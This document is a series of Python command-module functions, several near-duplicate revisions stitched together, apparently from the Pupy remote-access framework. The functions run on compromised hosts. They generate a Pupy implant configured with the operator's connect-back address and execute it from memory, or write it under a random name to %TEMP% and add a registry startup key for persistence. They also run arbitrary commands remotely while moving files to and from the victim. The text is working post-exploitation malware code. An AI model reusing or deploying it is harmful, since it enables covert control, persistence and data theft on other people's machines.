def run(self, args): self.success("looking for configured connect back address ...") res=self.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) self.success("Generating the payload with the current config ...") if self.client.desc["proc_arch"]=="64bit": raw_pe=pupygen.get_edit_pupyx64_exe(self.client.get_conf()) else: raw_pe=pupygen.get_edit_pupyx86_exe(self.client.get_conf()) self.success("Executing the payload from memory ...") exec_pe(self, "", raw_pe=raw_pe, interactive=False, fork=True, timeout=None, use_impersonation=args.impersonate, suspended_process=args.process) self.success("pupy payload executed from memory")
def run(self, args): exebuff = b"" if args.exe: with open(args.exe, 'rb') as f: exebuff = f.read() self.info("loading %s ..." % args.exe) else: #retrieving conn info res = self.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) #generating exe self.info("generating exe ...") if self.client.desc['proc_arch'] == "64bit": exebuff = pupygen.get_edit_pupyx64_exe( host, port, self.client.pupsrv.transport) else: exebuff = pupygen.get_edit_pupyx86_exe( host, port, self.client.pupsrv.transport) if args.method == "registry": self.client.load_package("pupwinutils.persistence") remote_path = self.client.conn.modules['os.path'].expandvars( "%TEMP%\\{}.exe".format(''.join([ random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12)) ]))) self.info("uploading to %s ..." % remote_path) #uploading rf = self.client.conn.builtin.open(remote_path, "wb") chunk_size = 16000 pos = 0 while True: buf = exebuff[pos:pos + chunk_size] if not buf: break rf.write(buf) pos += chunk_size rf.close() self.success("upload successful") #adding persistency self.info("adding to registry ...") self.client.conn.modules[ 'pupwinutils.persistence'].add_registry_startup(remote_path) self.info("registry key added") self.success("persistence added !") else: self.error("method not implemented")
def run(self, args): exebuff=b"" if args.exe: with open(args.exe,'rb') as f: exebuff=f.read() self.info("loading %s ..."%args.exe) else: #retrieving conn info res=self.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) #generating exe self.info("generating exe ...") if self.client.desc['proc_arch']=="64bit": exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf()) else: exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf()) if args.method=="registry": self.client.load_package("pupwinutils.persistence") remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) self.info("uploading to %s ..."%remote_path) #uploading rf=self.client.conn.builtin.open(remote_path, "wb") chunk_size=16000 pos=0 while True: buf=exebuff[pos:pos+chunk_size] if not buf: break rf.write(buf) pos+=chunk_size rf.close() self.success("upload successful") #adding persistency self.info("adding to registry ...") self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path) self.info("registry key added") self.success("persistence added !") else: self.error("method not implemented")
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] rexpandvars = self.client.remote('os.path', 'expandvars') rexists = self.client.remote('os.path', 'exists') rchmod = self.client.remote('os', 'chmod') safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False) for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error( 'Couldn\'t use $SELF$ on platform {}'.format( platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = rexpandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error( 'No local file {} found (scheduled for upload)' .format(xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^' + local + '^' + direction + remote + '^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) rchmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({'shell': True}) cmdargs = cmdargs[0] else: cmdenv.update({'shell': False}) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"' for x in cmdargs) ] if args.set_uid: cmdenv.update({'suid': args.set_uid}) close_event = threading.Event() def on_read(data): self.stdout.write(data) self.terminate_pipe, get_returncode = safe_exec( None if args.N else on_read, close_event.set, tuple(cmdargs), **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format(datetime.datetime.now())) close_event.wait() retcode = get_returncode() if retcode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error('Ret: {} at {}'.format(retcode, datetime.datetime.now())) for remote, local in to_download: if rexists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error( 'Remote file {} not exists (scheduled for download)'. format(remote))
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] to_delete = [] ros = None for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if not ros: ros = self.client.conn.modules['os'] if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error('Couldn\'t use $SELF$ on platform {}'.format(platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = ros.path.expandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error('No local file {} found (scheduled for upload)'.format( xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^'+local+'^'+direction+remote+'^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) ros.chmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({ 'shell': True }) cmdargs = cmdargs[0] else: cmdenv.update({ 'shell': False }) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join( '"'+x.replace('"','\"')+'"' for x in cmdargs ) ] self.pipe = self.client.conn.modules[ 'pupyutils.safepopen' ].SafePopen(cmdargs, **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format( datetime.datetime.now())) self.success('Command: {}'.format(' '.join( x if not ' ' in x else "'" + x + "'" for x in cmdargs ) if not cmdenv['shell'] else cmdargs)) close_event = threading.Event() def on_read(data): self.stdout.write(data) def on_close(): close_event.set() self.pipe.execute(on_close, None if args.N else on_read) while not ( self.terminate.is_set() or close_event.is_set() ): close_event.wait() if self.pipe.returncode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error( 'Ret: {} at {}'.format(self.pipe.returncode, datetime.datetime.now())) for remote, local in to_download: if ros.path.exists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error('Remote file {} not exists (scheduled for download)'.format(remote)) if hasattr(self.job, 'id'): self.job.pupsrv.handler.display_srvinfo('(Job id: {}) Command {} completed'.format( self.job.id, cmdargs))
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] to_delete = [] ros = None for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if not ros: ros = self.client.conn.modules['os'] if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error( 'Couldn\'t use $SELF$ on platform {}'.format( platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = ros.path.expandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error( 'No local file {} found (scheduled for upload)' .format(xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^' + local + '^' + direction + remote + '^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) ros.chmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({'shell': True}) cmdargs = cmdargs[0] else: cmdenv.update({'shell': False}) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"' for x in cmdargs) ] self.pipe = self.client.conn.modules['pupyutils.safepopen'].SafePopen( cmdargs, **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format(datetime.datetime.now())) self.success('Command: {}'.format(' '.join( x if not ' ' in x else "'" + x + "'" for x in cmdargs) if not cmdenv['shell'] else cmdargs)) log = None if args.log: log = args.log.replace('%m', self.client.desc['macaddr']).replace( '%p', self.client.desc['platform']).replace( '%a', self.client.desc['address']).replace( '%h', self.client.desc['hostname'].replace( '..', '__').replace('/', '_')).replace( '%u', self.client.desc['user'].replace( '..', '__').replace('/', '_')) dirname = os.path.dirname(log) if not os.path.exists(dirname): os.makedirs(dirname) log = open(log, 'w') close_event = threading.Event() def on_read(data): self.log(data) if not self.terminate.is_set(): log.write(data) def on_close(): close_event.set() self.pipe.execute(on_close, None if args.N else on_read) while not (self.terminate.is_set() or close_event.is_set()): close_event.wait() if log: log.close() if self.pipe.returncode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error('Ret: {} at {}'.format(self.pipe.returncode, datetime.datetime.now())) for remote, local in to_download: if ros.path.exists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error( 'Remote file {} not exists (scheduled for download)'. format(remote)) if hasattr(self.job, 'id'): self.job.pupsrv.handler.display_srvinfo( '(Job id: {}) Command {} completed'.format( self.job.id, cmdargs))